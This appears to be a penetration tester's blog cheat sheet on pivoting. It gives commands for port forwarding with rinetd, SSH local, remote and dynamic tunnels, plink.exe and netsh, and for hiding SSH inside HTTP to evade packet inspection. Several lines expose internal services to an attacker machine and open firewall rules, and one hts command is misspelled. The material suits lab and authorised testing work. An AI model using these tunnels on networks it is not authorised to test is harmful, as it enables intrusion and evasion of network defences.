Pivoting Jutsus
RINETD (R INET D)
Type: Port Forwarding
- sudo apt install rinetd
- vim /etc/rinetd.conf
- bindaddress bindport = the Kali host that you are on. Example (0.0.0.0 80)
- connectaddress connectport = where your sending the traffic to. Example (GoogleIP 80)
- sudo service rinetd restart
- netstat -ln
- Use netcat on remote host to connect
SSH Local Port Forwarding
- sudo ssh -N -L 0.0.0.0:445 192.168.1.110:445 student@10.11.0.128
- smbclient -L 127.0.0.1 -U Administrator
- ssh -L 5901:localhost:5901 -N -f -l charix 10.10.10.84 ?
SSH Remote Port Forwarding
Opposite of SSH Local Port Forwarding
Pick this option if SSH is blocked by firewall
- ssh -N -R [bind_address:]port:host:hosport [username@address]
- ssh -N -R 10.10.14.26:2222:127.0.0.1:3306 kali@10.10.14.26
- Port 2222 should be open on Kali forwarding the MySQL traffic
SSH Dynamic Port Forwarding
Uses SOCKS4
- ssh -N -D [address to bind to]:[port to bind to] [username]@[SSH server address]
- ssh -N -D 127.0.0.1:8080 student@10.11.0.128
- sudo vim /etc/proxychains.conf
- Under [ProxyList] add socks4 127.0.0.1 8080
- proxychains nmap --top-ports=20 -sT -Pn 192.168.1.110
Plink.exe Windows
- plink.exe -l aszampias -pw password 10.10.14.3 -P 443 -R 139:127.0.0.1:139
- plink.exe -ssh -l aszampias -pw password -R 10.2.43.23:4444:127.0.0.1:3306 10.2.43.23
- cmd.exe /c echo y | plink.exe -ssh -l kali -pw password -R 10.2.43.23:4444:127.0.0.1:3306 10.2.43.23 (if issues exist)
NetSH Windows
For additional interfaces.
- IPv6 must be enabled.
- IPHelper service must be on
- Execute this command on middle-man
- netsh interface portproxy add v4tov4 listenport=4455 listenaddress=10.11.0.22 connectport=445 connectaddress=192.168.1.110
- netstat -anp TCP | find "4455"
- netsh advfirewall add rule name="forwardrule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow
- Kali: smbclient -L --port=4455 10.11.0.22
HTTP Tunneling through Deep Packet Inspection
Port Forwarding.. WITH ENCAPSULATION!
Used to send SSH traffic disguised in HTTP
- sudo apt install httptunnel
- ssh -L 0.0.0.0:8888:WinServer:3389 student@127.0.0.1
- Debian: hts --foward-port localhost:8888 1234
- Kali: htc --forward-port 8080 s.t.u.v:12345
- Note: hts means server. htc means client
Comments
Post a Comment